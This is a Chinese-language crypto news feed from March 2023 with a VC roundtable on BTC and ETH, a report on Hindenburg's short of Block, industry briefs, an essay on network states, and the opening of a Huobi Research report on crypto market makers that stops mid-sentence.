更多跟随纳斯达克和长债。BTC 普遍被币圈机构低配了。当风险资产重新因宽松上扬后，ETH 应跑赢 BTC。 Pima - Continue Capital：ETH 有过一轮 800 美元至 2000 美元的反弹，上摸长期均线；BTC 还没有过这种大级别反弹，这次后补一下。 Bill - Cypher Capital：短期内的波动本身就很难解释的，如果要关注价格走势的话，有句话是说「When in doubt, zoom out.」而且只看 ETH 本身的波动也是片面的，比如 ETH 生态中的 Arbitrum 最近就很火，但这一点不一定就会立即反映在 ETH 本身的价格上。另外，如果我们 Crypto 行业和传统行业对比的话，那么 BTC 是「黄金」，其他币是「生意」，BTC 在过去一周，某种意义上扮演了「避险资产黄金」的角色。 Jerry - Synergis Capital：我们并不认为有大量的外部资金流入到加密市场，在 FTX 事件之后，加密市场一直处在轮动和 PVP 的状态当中。这次比特币的涨势主要是从稳定币以及其他币种的资金进入到比特币避险引起的。另一部分原因归结于美国监管有概率把比特币以外的所有加密货币都视为证券，导致以太坊的价值存储属性的安全性相对降低。比特币历史上一贯被视为加密世界中的硬通货以及传统金融体系的代替物，所以目前的银行体系受压的叙事也增加了其表现。我们预计随着美国银行系统崩溃的担忧消退，部分资金会从比特币重新流回到以太坊以及其他风险偏好更高的币种。 BMAN - ABCDE Capital：我们相信未来会出现资金板块轮动，会布局各个板块的龙头项目。 Jason - Folius Ventures：大概率。现有板块弹性都不大。个人还在等应用层。可以跟随一下 ARB 空投资金流向。 Pima - Continue Capital：有新资金是会分流，不至于普涨；个人会布局新公链、L2、ominchain 方向。 Bill - Cypher Capital：一定会的。Cypher 并不是要做某一个板块的 ETF，所以我们会在各个板块都做布局，同时我们也期待创业者能带我们见证新的板块的诞生和成长。 Jerry - Synergis Capital：今年四月以太坊将迎来上海升级，允许质押的以太坊进行解锁。虽然短期内可能会对以太坊价格带来一定的不确定性，但我们认为这次升级将会大大提升之后以太坊网络上质押的数量，同时利好以太坊的价格, 使得以太坊/比特币汇率也会获得提升。这将进一步增加以太坊生态的网络效益，使得其他公链生态发展变得更加艰难。在具体板块上，鉴于近期监管细规的不确定性，我们对 web2.5 的投资相对谨慎，特别是在 web3 企业级服务和 permissioned DeFi 赛道。作为行业内比较活跃的创作者经济 VC，我们持续在全价值链的各个部分精准孵化及投资头部团队。鉴于流动性的回归，DeFi 也将是我们重点关注的赛道，尤其是在去中心化稳定币以及期权交易创新方面。 BMAN - ABCDE Capital：短期看好 BTC，银行破产的危机还没解除，短期会有资金进入 BTC。 Jason - Folius Ventures：都看好，叙事不一样。两个都配，个人不愿意做选择。 Pima - Continue Capital：不应该考虑这个问题。 Bill - Cypher Capital：我个人短期看好 BTC，因为这是全球宏观叙事下向「backed by math, instead of backed by centralized protocol」的资金迁移。Cypher 在加密货币市场的布局是长线的，我们并不那么关注短期的市场波动情况。BTC 和 ETH 生态都有创新和活跃的生态，Cypher 在两者都会积极布局。 Jerry - Synergis Capital：比特币已经证明了其在区块链世界中的特殊地位和属性，但是我们也不应该小觑以太坊的通缩代币经济模型以及其包括二级公链在内的生态系统所带来的强大网络效应。二级公链生态帮助以太坊解决扩容问题，目前最具有创新性的项目仍旧是搭建在 EVM 上的，传统企业想要进军区块链的话也会优先选择以太坊 L2。相比之下，比特币则缺乏以太坊所拥有的众多应用场景，这种差距可能在未来会越来越明显。 BMAN - ABCDE Capital：Layer2 的战争刚刚开始，会持续到 ZK 的 Layer2 项目上线。 Jason - Folius Ventures：很健康。应该是最有机会的二层之一。我认为可以多看看 Axiom + EigenLayer 为以太生态带来的好处。 Pima - Continue Capital：会。 Bill - Cypher Capital：Arbitrum 宣布空投标准和快照时间后，我们并没有看到其链上活跃数据有大幅下降，这说明用户对其生态是有粘性的。我们很期待看到 Arbitrum 生态的进一步发展。 Jerry - Synergis Capital：Arbitrum 自上线以来，生态内去中心化金融服务 DeFi 和游戏领域都呈现出稳定的有机增长，哪怕是在其代币空投预期不确定的时候。Arbitrum 目前拥有众多合作伙伴的支持，同时自身协议也在不停创新，尤其是 Stylus，将有机会将大量之前 Solana 上使用 Rust 的开发者引入到 Arbitrum 生态, 因此我们对 Arbitrum 的前景持续看好。 BMAN - ABCDE Capital：Layer2 生态都会去体验。 Jason - Folius Ventures：ZK 赛道落地需要时间。个人认为 Scroll 会是匹黑马。另外 SUI 在 App 方面也可以看看。 Pima - Continue Capital：我交互的少，但是可以给说下值得交互的项目：zkSync，StarkNet，Sui，LayerZero。 Bill - Cypher Capital：作为机构投资者，我们更关注长期投资。 Jerry - Synergis Capital：我们看好在 DeFi 和 web3 游戏方面取得了创新性进展的协议。至于空投预期，我们会更多关注在一级市场里获得了大量一线资本注入的公链，比如 Celestia, Sui 还有 Scroll 这类新兴的协议。 BMAN - ABCDE Capital：BTC 和 PoW 阵营一直有长久忠实的社区，相信并期待会出现围绕 BTC 的创新生态。 Jason - Folius Ventures：Stacks 生态需时。不适合短炒。真正起量需要等他们 EVM 上线，届时恰逢 BTC 24 年减半之前。应该是整个市场里弹性最大的叙事。 Pima - Continue Capital：21 年底，Taproot 升级是带来这一切的主因，长期 4 年看可能会失败，但是短期是个很难证伪的命题，存在市场「预期差」，反而是利润的来源，值得关注。 Bill - Cypher Capital：任何创新在早期在 UI/UX 方面都是没有那么成熟的，Cypher 对于技术创新一直都是抱着积极的态度的。Cypher 参与了 TwelveFold 的竞拍并且幸运地获得了一枚 Ordinals。我们欢迎在 BTC 生态有着想法和项目的创业者随时和我们探讨。 Jerry - Synergis Capital：比特币拥有最庞大的持有者群体和最忠实的社区基础，从过往闪电网络生态持续发展的数据经验看来，BTC 生态大概率不会是昙花一现，我们基金在 BTC 生态早有系统性布局，但认为目前确实在智能合约技术和部署方面相对以太坊生态存在明显的落后。  ( 7 min )
    猎杀时刻：继狙击印度首富之后，做空“新星”盯上加密市场
    来源：21tech（News-21） 作者：李强 编辑：张伟贤 卢陶然 图源：图虫 继狙击印度首富之后，做空“新星”兴登堡研究（Hindenburg Research）又将狩猎目标转向Twitter创始人Jack Dorsey旗下的支付公司Block（SQ.N）。 根据官网介绍，兴登堡的主要业务包括披露企业的会计造假、管理问题、未公开关联交易、财报违规等。“兴登堡”一名源于1937年美国新泽西州的兴登堡号飞艇空难，飞艇在准备着陆时起火燃烧，创始人Nathan Anderson认为这起空难完全是人为造成，于是将公司取名兴登堡，来揭露市场中的类似“人为灾难”。 2017年创立后，兴登堡主要针对知名度较小的公司发报告，通过做空相关公司股票来营利，直到今年，兴登堡才迎来高光时刻。 1月24日，兴登堡发布了对印度最大的基础设施企业阿达尼集团（Adani Group）的做空报告，指责其操纵股价、财务造假、债务过高，尽管阿达尼一再否认，该集团市值还是在之后的不到一个月时间内直接腰斩，损失超过1300亿美元，成为印度股市历史上最严重的损失之一，并造成了一系列的市场和社会混乱，高塔姆·阿达尼（Gautam Adani）本人也从亚洲首富的位置上被拉下马。 3月23日，兴登堡发布了一份以“Block：膨胀的用户指标和'无摩擦'欺诈便利化如何让内部人员套现超过10亿美元”为题的做空报告。 “我们为期2年的调查得出的结论是，Block系统性地利用了它声称有帮助的用户数据……Block业务背后的“魔力”并非颠覆性的创新，而是该公司欺诈消费者和政府、规避监管、将掠夺性贷款和费用伪装成革命性技术，并以夸大的(用户)指标误导投资者。”兴登堡在报告中表示。 做空报告公布后，Block在3月23日大跌逾14.82%，其盘中跌幅更是一度达到22%。 自去年一连串的加密机构爆雷以来，越来越多的做空力量开始加入到这场加密世界的狩猎中。 例如，2022年11月，在加密世界“明星”——加密货币交易所FTX爆雷之后，做空机构香橼研究（Citron Research）随即表示重新出山，发起对于ETH（以太坊）的猛攻。 “FTX证明了很多股票是因为‘别人做了功课’的误解而上涨，这重新点燃了我们的做空热情，并将继续做空ETH，在我们看来，这个1300亿美元的代币与SBF的故事一样存在许多常识性的漏洞。”香橼研究彼时表示。 值得注意的是，在加密市场牛市的2021年，兴登堡就曾悬赏一百万美元，试图攻击第一大稳定币USDT发行商Tether的储备资产风险问题，而Block则成为这只“秃鹫”的第一次落地。 兴登堡在报告中列出了Block的两大罪状：夸大用户数据，为犯罪行为提供便利。 兴登堡表示，Block严重夸大了其真实用户数量并低估了其获客成本。前员工估计，他们审查的账户中有40%～75%是虚假账号，或者是涉及欺诈的账号，即使用户被发现从事欺诈或其他被禁止的活动，Block也只是将该帐户列入黑名单而不作封号处理。 尽管Block可以且应该向投资者澄清Cash App的实际用户数量，但Block还是通过报告充满虚假和重复账户的误导性“交易活跃”指标来隐瞒旗下Cash App平台的真实用户数据。 另外，兴登堡在报告中认为，Block忽视了合规问题。当新冠肺炎疫情威胁到其商家销售点服务的收入时，Block“压制了内部担忧，忽视了用户的求助请求，当时犯罪活动和欺诈正在其平台上猖獗。” 在2019年的年报中，Block（彼时公司名为“Square”）报告了47亿美元的总净收入，其中65%来自交易费用，22%来自订阅和软件业务，2%来自Square Terminal等硬件，其余来自比特币。 2020年受疫情影响，Block的交易、订阅和硬件收入在第二季度都有所下降。但到2020年下半年，情况开始好转。交易费用出现反弹，原因是零售商处理了更多“无卡”交易，这类交易收取的费用更高。Cash App帮助订阅类的收入增长到15亿美元，比前一年增长了49%。截至2022年底，订阅收入激增至45亿美元，几乎相当于该公司在疫情开始前一年的全部净收入。 兴登堡报告称，Block的Cash App增长如此之快，是因为它被用来诈骗新冠肺炎救济金，而且该公司无视美国联邦和州执法部门的询问。兴登堡在其报告中写道：“为了维护其增长引擎，Cash App忽视了内部员工的担忧，以及特勤局、美国劳工部OIG、FinCEN和州监管机构的警告，这些机构都明确指出，多笔新冠肺炎救济金进入同一账户是明显的欺诈迹象。” Block则在随后的回应中表示，考虑针对兴登堡的做空报告采取法律行动，公司有意配合SEC的工作，Block称，兴登堡的卖空者报告意在欺骗和困惑投资者，并且对公司产品、报告和合规计划都有信心。 上海交通大学上海高级金融学院教授、前美联储高级经济学家胡捷向21世纪经济报道记者分析表示，本轮加密熊市中的爆雷事件，以及相关联但尚未暴露的风险危机会在今年集中爆发，对于加密机构来说今年也是一个比较难熬的时期。 “这轮熊市中暴露的危机都要得到解决，特别是已经爆雷了的，牵连的机构们存在的问题也需要时间去暴露和解决，就像脓疮一样，一定要破了以后进行彻底的清理，这个过程是必须经历的。我认为加密市场的‘排雷’会在今年结束，但现在还没完，这也是加密市场重回牛市的先决条件之一。”胡捷表示。 随着加密世界危机不断爆发，甚至开始有向传统金融机构蔓延之势，SEC（美国证券交易委员会）等监管也开始收紧对于加密行业的管控，并主动切断传统金融与加密世界之间的联系。 3月9日，由于遭遇FTX爆雷后的挤兑，加密银行Silvergate宣布清算。Silvergate是一家依靠加密业务快速成长的地区性小银行，但谁也没想到这就像一张多米诺骨牌，很快就将存在类似客户结构单一、期限错配等问题，但规模为前者二十倍的硅谷银行压倒。 美联储副主席Michael S.Barr此前曾指出，SEC向受监管机构强调，他们需要了解到与某些加密行业相关的存款的流动性风险。 “我们一直希望银行能够评估和管理其资金来源的流动性风险。正如SEC此前声明中明确指出的，加密行业的储户拥有的资产可能会受到该行业波动的影响，这在过去几个月中也很明显。这种波动会导致不可预测的、快速的、相关的存款流入和提取，因此，他们存款的流动性风险当然需要额外的关注。对于那些资产负债表上有很大一部分来自于此类存款的银行而言，流动性问题尤为严重。”Michael S.Barr表示。 由于硅谷银行关系着大量科技初创企业，为了防止危机扩散，美联储随后选择兜底，值得注意的是，在联合声明中，另一家加密友好的地区银行Signature Bank也被纽约州监管机构关闭。 更早一些，2023年2月，纽约金融服务部（NYDFS）要求稳定币发行商Paxos停止发行稳定币BUSD，Paxos也因BUSD相关问题收到SEC的“Wells通知”（SEC对在美上市公司进行民事诉讼前发出的非正式提醒），或将面临SEC非法发行证券的指控，迫于压力，Paxos与加密货币交易所币安也只能宣布弃用BUSD。 SEC委员Hester Peirce也在近日公开表示，SEC采取的立场是将大部分代币归类为证券，以最大限度地扩展其管辖范围。 3月22日，Coinbase（COIN.O）披露收到SEC的Wells通知，Coinbase则以强势态度回应表示，SEC在粗略调查后就公司上市数字资产的未指明部分、质押服务Coinbase Earn、Coinbase Prime和Coinbase Wallet发出了Wells通知。 “Wells通知没有提供很多信息供我们回应，SEC工作人员告诉我们，他们已经发现了潜在的违反证券法的行为，但仅此而已。我们特别要求美国证券交易委员会确定他们认为我们平台上的哪些资产可能是证券，但他们拒绝这样做。” 收到Wells通知之后，Coinbase股价也迎来连跌，3月22日与3月23日分别跌去8.16%和14.05%。 不巧的是，Block和Coinbase两个都是“木头姐”Cathie Wood押注加密行业的重仓标的，同时也是其最出名产品——创新技术ETF基金（ARKK基金）的前十大重仓股。 从去年11月开始，Ark Invest就一直在增持Coinbase股票，3月21日，Ark Invest出售了价值1350万美元的Coinbase股票，成为该基金自去年7月以来首次出售大量Coinbase股票，3月23日，Ark Invest再度购买近1800万美元的Coinbase股票。 对于Block，Ark Invest也在持续买入，据记者不完全统计，Ark Invest分别在3月13日、3月14日、3月16日、3月18日增持了640万美元、1370万美元、900万美元、430万美元的Block股票。 Strategas Securities ETF策略师Todd Sohn认为，ARKK基金将坚持对这两家公司的看法，并将长期投资加密货币领域。 “如果说ARK及其团队有什么突出之处，那就是他们以最大的信念坚持自己的投资，500个基点的加息并没有阻止她们投资去年遭受打击的股票。所以无论是像兴登堡做空Block还是Coinbase违反证券法这样的头条新闻，我倾向于认为他们会进行尽职调查，并决定是否对一个标的进行减持。”Todd Sohn表示。  ( 4 min )
    资管巨头富达正在组建加密货币研究团队
    PANews 3月28日消息，据The Block报道，资产管理巨头富达（Fidelity） 正在组建其加密货币研究团队，目前正为其加密货币和代币研究开发团队招聘一名负责人。新设立的职位将是一个高级职位，将加入其资产管理业务中现有的量化研究和投资技术团队。  ( 4 min )
    时代巨变，诸神觉醒，网络国家和主权个人正兴起
    撰文：Jingyi，云起方达创始人、LD Capital Advisor 「勇敢些，把神的意思释告我们，不管你知道什么。我要对宙斯钟爱的阿波罗起誓——那位你，卡尔卡斯，在对达奈人卜释他的意志时对之祈祷的天神——只要我还活着，只要还能见到普照大地的阳光，深旷的海船旁就没有人敢对你撒野。没有哪个达奈人敢对你动武，哪怕你指的是阿伽门农，此人现时正自诩为阿开亚人中最好的雄杰！」——《荷马史诗》 14 世纪 -16 世纪，欧洲曾经发生过至少 166 场大规模亡国灭种的战争，平均每次战争的延续时间超过 8 年，平均每年都有超过两三场战争同时展开，延续时间超过 8 年的战争有 15 次之多。从公元 1500 年开启大航海到 1700 年工业革命前夜，在这 200 年期间，欧洲有 95% 的时间都处于战争状态。欧洲各国为了打赢一场接一场的战争，平均每年必须将高达 80% 以上的财政收入用于军事开销。战争资本主义的出现，对西方文明以及全球经济格局的形成开始产生深刻影响。而根本原因是在地域扩张和人口兼并为主要增长模式的时代，暴力杠杆的经济效益最大，城邦制国家需要更强权政府的保护去对抗暴力，在持续百年的英法之战中，英国霸权崛起，英语至今成为全球知识和商业交流的主要语言，亚伯拉罕平原的的胜利，为美国革命的成功搭建舞台，印度成为至今说英语人口最多的国家，财富的不断流入为工业革命提供燃料。强权政府以及世界霸权的角逐成为各大经济体的主要逻辑。 然而今天人类已经从工业时代演变到信息时代，社会结构和经济增长的逻辑发生了根本改变，暴力的成本和收益在下降，方式在改变。人类的根本冲突已经从大国霸权变成了高度发展的技术生产力与有限的资源之间矛盾。星际探索外拓资源和促进生产关系更高效的进行资源配置是人类正在探索的路径和解决方案。在信息时代，网络经济体必将蓬勃发展，孕育出更先进的组织和个体形态——NETWORK STATE( 网络国家 ) 和 TSI(The sovereign Individual 主权个人 )。 火药武器和航海技术的重要性已经被远程通讯和高通量计算所替代，十五世纪晚期，是一个至暗时代，也是个绝望的年代，但这并不是历史独一无二的存在，在所有的变革来临之前，社会的动荡与不安是必然产物。而今天，赢家通吃的竞争模式、强权政治的长臂管辖、高成本的分工协作、大规模生产的迁移，都会面临改变。改变已经开始并会加剧，基于以下背景与事实： 在马克思主义和制度经济学看来，资源配置的决定因素不是市场，而是制度安排中的权力结构。制度和资源配置是两个主要的内生变量，而不同集团的权力是制度变迁中的主要因素，其中权力的来源包括政治制度下的合法政治权力和资源配置状态下的实际政治权力，本质上就是经济权力 。正是权力的分配决定了经济制度 、资源分配和经济增长率 。 我们可以轻易的发现该观点的前置假设具备两个条件，一是权力的强大和稳定，二是经济增长的增速。而当今世界，各国政府负债和赤字、增发货币转嫁成本，经济增长找不到出口，全球进入存量博弈时代。权力的保护和杠杆作用减弱，在考虑风险成本和偏好因素之后，资源早晚会选择向具备更高配置效率且税收友好的市场流动。 以美国政府为例，自 1990 以来的三十年间，只有 1999 年和 2000 年美国联邦政府财政收支略有盈余，其它的 28 年里美国联邦政府财政收支都是财政赤字。未来九年间（2022 年 -2031 年）美国联邦政府综合财政收入预计将保持 3.45% 的年均增长率，到 2031 年美国联邦政府财政收入将达到 5.957 万亿美元。与此同时，这九年间联邦政府综合财政支出预计将保持 3.88% 的年均增长率；到 2031 年美国财政支出将达到 7.812 万亿美元。根据这一测算，2031 年美国联邦政府的财政赤字测算将达到 1.855 万亿美元。（数据来源美国国会办公室）在网络经济兴起的背景下，可以预见财收入的税收能力还将进一步下降。 垄断和集中是工业时代发展的结果，规模经济催生了现代的巨无霸企业。20 世纪以来由于分工的标准化和可拆分，设备和产业规模迅速飙升，有效的规模经济使得产业迭代和替换门槛提高，产品周期相对较长。我们看到了中美两国在各自的红利时代，经济增长过程中出现了相对稳定的市场局面和企业盈利模式。然而随着社会发展和市场的成熟，公司要进一步发展规模或是结构性转型，对固定资本的投入要求也会越来越高，这必然导致生产效率的僵化。而在信息时代，信息技术降低了设备投资成本，缩短了产品周期，迭代更快，竞争加剧。 世界发展到今天，已经成为了一个极其复杂且精密的庞然大物。 达尔文的进化论提出生物通过「基因变异」和「自然选择」进化，认为这种变异是随机的。但是随着现代生物学的发展，研究发现，生命体是以生物分子为基础一个复杂的循环反馈系统，形状改变受到各种因素的影响。在这个系统中，虽然一切有迹可循，但我们可以预见其复杂以及算法的精密与庞大。而社会的发展，又是由无数的生物体与物质世界构建而成。 在《隐秩序：适应性造就复杂性》中复杂系统科学的代表流派圣菲研究所分析了城市、人体免疫系统、中枢神经系统、生态系统，发现这些系统虽然具有迥异的细节，但存在如下共性： 面对变化，系统显示出协调运作性和持存性。这些特性依赖于广泛的相互作用、多种元素的聚集，以及适应性或学习。 这些如经济系统、因特网、胚胎各自面临的如贸易平衡、计算机病毒、出生缺陷等挑战从机制上看有许多相似之处。 小到一颗灰尘，大到浩渺宇宙，只有不依赖中央权威控制的自适应复杂系统，将会是生命力最长久的先进系统。而接下来的一切，只会更加复杂。 历史上世界格局和地缘政治的演变，根源来自暴力极其杠杆作用的影响。而信息时代对于暴力和防治的原始冲突，基于财产保全的逻辑，在 0 和 1 构建的世界里，利用数学特性就可以解决，而数学是最严密的科学。虽然数学本身是等价对称的，但是在等号两端的资源消耗是不对称的，例如质数相乘和因式分解。这个本质特征，已经开始了主导网络经济的塑造，不对称密码算法（RSA）和椭圆曲线加密技术（ECC）也使用了加密证明构建了今天加密世界财产保全的基础。加密圣经《主权个人》在 90 年代明确预见了这一可能性，高通量计算发现的这一特性，导致新的经济模式将会出现，它将更多地依赖自发的适应机制，而更少依赖有意识的决策以及官僚机构对资源的配置。以保护为首的新体系，将与工业时期以强制为主导的旧体系截然不同。 基于以上背景和事实，我们可以清楚的看到改变发生的必然性，同时可预测：不依托强权政府和管辖体系的网络国家会出现，TSI 将会兴起。 正如前文《荷马史诗》所描绘，在诸神的年代，神与人共同生活在一起，外形并没有差异。然而天神的生产力和智力处于巅峰状态，对于资源有更多的分配权，属于众神的奥林匹斯山神秘莫测且丰饶富裕，但普通劳动民众却难以抵达。人类精神文明起源最早的想象，或许就是我们的终极形态。在并不遥远的将来，强大的 TSI，和那些受支配的普通人生活在同样的物理环境中，但他们却同时处于一个更加独立的网络空间，就如同希腊神话里宙斯的子女，享有自己独特的文化和体系，议会与王权不能触达。这些 TSI 将掌握更多的资源，并且超越于强权之外。在新的世界里，有一套独立、合理高效的配置系统和共识规则。随着这一天的到来，一切都将重构。 TSI 的定义，不仅仅限制于某个单一的自然人类，应该包括能体现完整自由意志和独立意识的所有集合。因此，TSI 可以是一个自然人，可以是一个高度紧密的组织，也可以是一套通过逻辑统一的账号身份集合。物理消亡的人类个体，只要能在网络空间将所有历史数据统一融合，并且能通过算法模拟和程序实现代表个人意志的逻辑，理论上， TSI 在网络空间就不会消失。而这也将成为人类历史上第一次，脱离物理限制，在数字世界里实现永生的开始。 Chat-GPT 的出现，会加速封印的解除，摩尔法则下算力的提升，都会召唤出亚里士多德描述的「会说话的工具」，而他说的工具是人，在我们接下来的世界里，这个「工具人」指的是能交互、执行、甚至自我学习和提升的所有应用程序。 这一切将引起巨变，对整个社会造成深远的影响，包括且不限于以下方面： 1、全球定居的数字游民 未来的身份形式在网络空间植根成长，并在此基础上延伸出相应的社交和阶层，具备自下而上的属性，与作为系统性强制产物的国籍有着根本不同。数字游民自由选择定居地和离岸注册地（如需要），但不同的是，他们有进入或退出的选择权，不会支付高额的强加的税负，换句话说，政府在物理空间提供的保护，是数字游民的可选服务，他们是政府的客户，而不是统治对象。而这些早期的数字游民中，会有一部分回流到现实世界，继续成为公民，另外一部分选择并适应了这种全新的身份和模式，成为真正的 TSI，在网络国家持续建设，积累更丰厚的财富和资源。 2、网络经济并不会得到普遍欢迎 个体解放和自由，从来就不是人性共同的需求，也不是所有人都希望在下一场游戏中成为赢家，厌恶风险寻求庇护和归属感，仍然会是大部分人的心态。面对未来的不确定性会激发人的不满，而对当下的不满总是伴随着怀旧的情绪出现。最惧怕新事物出现的，可能主要来自于目前富裕国家的中产阶级，他们会感受到人工智能,区块链等技术在信息时代带来的威胁，而这部分群体非常庞大。同时，目前社会结构里金字塔顶端的大部分人，也会不满于 TSI 的新自由，会站在道德和舆论的高度进行抨击。 3、大国政府资源配置和税收能力显著下降 寻求权力保护的必要性下降，资金和财富个体会将资金转移到更优于市场化配置且税收友好的管辖区，并且可随时撤离，税收能力的下降会导致西方政府利用极权手段压制网络经济。最近发生的 CFTC 起诉币安和之前 SEC 将除 BTC 以外的所有加密货币定义为证券，接下来还会有更严厉的措施和手段。 4、大型组织解体，原有分工被打破，工作形式和职能改变 臃肿低效的平台组织大幅裁员，不再有「活少钱多」性价比高的工作。工作的雇佣形式趋于项目制、时长制、工作量制，不一定是组织内的某个职位。极致和杰出个体的劳动回报超过以往任何时代。 5、人工智能和加密技术是天平的两端，互相渗透和影响，制约和平衡 Chat-GPT 是资源集中后优化效率的极致体现，加密技术是去中心化的基础技术，好比天平的两端，任何事物都是在矛盾中发展和平衡的，而将来的商业模式创新，会在两极区间里进行取舍。 6、赛博空间商业体和超级 TSI 出现 元宇宙、DID、DEFI、Gamefi、等等今天出现的应用，最终会通过各种 protocol 和跨链桥交织而成的信息网络连接流通，形成一个赛博空间商业体。超级 TSI 在这个空间里掌握超级资源。 7、认知和思想等于个体财富能力，网络经济成为最庞大经济体 到 2025 年，网络经济的参与者将数以百万计。认知和思想在信息爆炸的年代会成为稀缺的宝贵资源，他们中间将会出现很多个比尔·盖茨，未来 30 年最伟大的经济现象，是网络经济，而不是金砖四国。 网络经济体的存在，将由于更高效的资源配置和淘汰机制，自适应的自下而上的复杂系统，加速自我成长和迭代，其蓬勃发展必然导致新的组织形态和商业模式出现，网络国家应运而生，独立存在于体系之外，但与现实世界又会有机融合，成为一个独特的庞大的经济体。而 Digital Nomads（数字游民）和 TSI 是这个经济体的主要组成。 预判未来从来就不是件轻松的事情，尝试着去勾勒未来的模糊的影像是为了更多的看清当下，在加密世界的商业发展和赛道投资，有可能出现以下几个方面的趋势： 1、基础设施、协议和应用层的界限会打破 由于应用产品的开发门槛和用户偏好的不可预测，应用赛道竞争往往更激烈，目前生态位也相对弱势。今天大基金往往更偏向投资基础设施和公链，同时也导致了这些赛道的估值奇高，资源过于集中，但产出效率低下，毕竟不是所有的公链都能在短期内完成生态的搭建。在赛博商业空间，未来更多的一种可能是，解决用户需求某些痛点的产品，可能本身就是一条开放开源的协议，甚至就是 L1 本身, 例如特定应用链的出现。而所谓「胖协议，轻应用」的意思是基于功能属性的区分，而不一定是技术架构。应用一定是迎爆网络经济体量的终极武器，没有应用场景的基础设施是没有意义的。而基础设施的不断完善例如 L2 为应用的开发降低成本，提升性能，两者是相辅相成的关系，甚至在某些场景可以合二为一。 2、基于全新范式的用户应用场景 从 2017 至今，我们看到了无数的应用形态出现，但至今没有出现大规模用户的产品，一方面是时间和周期的因素，另一方面是因为新的商业形态还在形成的过程中，创业团队要具备非常深邃的思考能力，才能基于底层需求进行构建，这无疑是个巨大的挑战。基于之前分析，尽管用户的体验需求和产品形态还不能确定，但是在网络空间和赛博商业的大趋势前提下，我们基本可以预测这几个方面：基于技术构建内容的工具平台、 新型契约关系下的网络构建、跨链身份和社交，去中心化交易的便利和资产保全，网络国家治理，等等。很庆幸看到 ChainIDE 作为开发者构建智能合约的平台，已经有 7 万多 dapp 基于其前后端搭建和部署；而通过 Ethsign 签署的合约已经超过 18 万份，以这一新型契约关系为基础的商业基础设施 Token table 也测试网开始上线。这些都是以解决痛点需求为切入口，提供平台与底层设施的产品形态，虽然这些数字在今天还微不足道，但是随着新时代的到来，预计 2025 年会出现爆发式增长。 3、在原生加密空间之外，会出现与现实商业结合的中间层 不是所有人需要完全的自治，以及具备自我财产保全的能力，但是基于传统金融爆雷和货币超发的预期，仍然会在加密领域进行一定的资产配置。现在的中心化交易所就是承担了这个职能，同时会吸收更多流动性入场。未来会出现同等生态位但是功能更丰富的夹层应用，商业模式以延续原有互联网需求为主，但是在支付和内容上，会与加密网络空间产生更多连接。 最后，站在时代的交叉路口，眺望远处，我们已经看到若隐若现的奥林匹斯山峰上，诸神正在醒来。  ( 5 min )
    ConsenSys的zkEVM测试网上线并更名为Linea
    PANews 3月28日消息，ConsenSys 宣布将其 Layer2 解决方案 ConsenSys zkEVM 测试网正式上线并品牌重塑为 Linea，目前已向所有开发人员、用户或协议开放测试。Linea 使开发人员能够不受限制地构建可扩展的 DApp。另外，通过 MetaMask 和 Truffle 等原生集成，Linea将零知识证明与 EVM 等效性相结合，为开发人员提供灵活性和可扩展性，而无需 ZK 技术专业知识。 相关阅读：以太坊最大开发公司ConsenSys发布zkEVM测试网，该如何参与？  ( 4 min )
    工信部就《区块链和分布式记账技术标准体系建设指南（2023版）》公开征求意见
    PANews 3月28日消息，工信部今日就《区块链和分布式记账技术标准体系建设指南（2023版）》（征求意见稿）公开征求意见。其中提出，到2023年，明确区块链和分布式记账技术标准体系顶层设计，研究标准体系建设和标准研制的总体规则，明确标准间的关系，重点开展基础共性标准研制，基本满足我国区块链和分布式记账技术标准化需求。到2025年，进一步完善国家区块链和分布式记账技术标准体系，持续推动区块链和分布式记账技术基础共性、关键应用示范和安全保障等标准，有效指导我国区块链产业建设，提升技术与应用服务水平。  ( 4 min )
    万字起底加密做市商：推动市场繁荣，跨越牛熊周期的隐士
    原文标题：《跨越牛熊周期的隐士：加密做市商》 原文来源：Huobi Research 摘要 传统金融做市商业务从 19 世纪初期开始萌芽，到现在呈现出发展成熟、交易品种多元、业务和收益相对稳定的特点。做市商作为金融市场上重要的参与者，在提供市场流动性和市场效率方面发挥了其独特的作用。随着市场规模的不断扩大，越来越多的机构和投行也加入了做市业务，并成为其重要的收入来源。整体市场做市业务也向头部聚集，竞争激烈。为了抢占市场和客户，市商在算法、技术、风控、合规上不断升级，也逐渐涉及加密领域。 加密市场做市商业务与传统金融相比，在本质上区别不大。但是运作模式、技术、风险管理和监管上却有天壤之别。首先，在市场规模方面，加密市场相对于传统金融市场还比较小，加密行业市商规模也相对较小。加密市场的流动性相对较低，波动较大，做市商需要更加谨慎做好风险管理；其次，在加密市场的做市商团队也称为庄家。因为加密市场的交易过程很难被监管，也没有严格的做市商制度来约束。交易平台、项目方与市商之间的关系变得更加复杂。然后，市商业务不仅仅在中心化交易平台产生，还涉及链上做市，并以此为基础开始出现一些为做市服务的中间件和协议；最后一点是，在技术架构方面，加密行业需要具备更高的技术能力，保证交易的安全性。 加密市场做市业务是一片蓝海，给予每个投资人机会但也伴随着风险。目前，美国的证券交易委员会（SEC）和商品期货交易委员会（CFTC）对加密市场监管趋严，很多机构和业务都受到影响。再加上熊市行情，大型机构暴雷现象频发，对市商的风险管理更具有挑战性。除此之外，加密做市商还面临市场碎片化/互操作性、资本效率低下、监管不确定性以及仍在改进的交换技术/连通性等问题。 即使如此，加密市商仍然有很大的发展和盈利空间。加密做市商在未来也会呈现一些传统金融做市商的发展特点：（1）做市参与者逐渐多元化；（2）做市品种多元化；（3）业务杠杆高；（4）市商头部效应越发明显。在投资领域，可以关注中心化的小型市商策略或服务类项目、解决互操作性的工具、以及 CeDeFi 项目。 做市商是指在金融市场上提供流动性的机构或个人。其主要职责是为证券交易市场提供流动性和市场深度。做市商通常在证券交易市场的买卖双方之间进行交易，并在市场上提供报价，以便其他交易者可以在该报价上进行买入或卖出交易。做市商通常是由投行、证券公司或专业机构组成的，他们在市场上扮演着重要的角色，有助于保持市场的稳定性和流动性。做市商通常会在一个或多个市场上同时进行交易，并且通过买入和卖出同一种资产来提供流动性，以便为市场参与者提供交易机会。 做市商的主要目标是在资产价格波动时从价格差中获利，因此他们通常会使用算法和其他技术来分析市场，找到机会，并迅速进行交易。做市商可能会在股票、外汇、商品、债券等各种市场上进行交易。 图 1. 做市商制度 1.1 行业概述 1.1.1 行业职能与服务客户 做市商在金融市场上的作用非常重要，有别于其它市场参与者的独特性。尤其是在提供流动性和市场效率方面。具体来说，做市商承担了 6 个主要的职能： 做市商的客户主要包括以下几类： 1.1.2 做市商赛道的发展历程 做市商赛道的发展历程可以分为五个阶段： 1.1.3 市场规模与竞争环境 根据金融业监管机构 FINRA（金融业监管局）的数据，截至 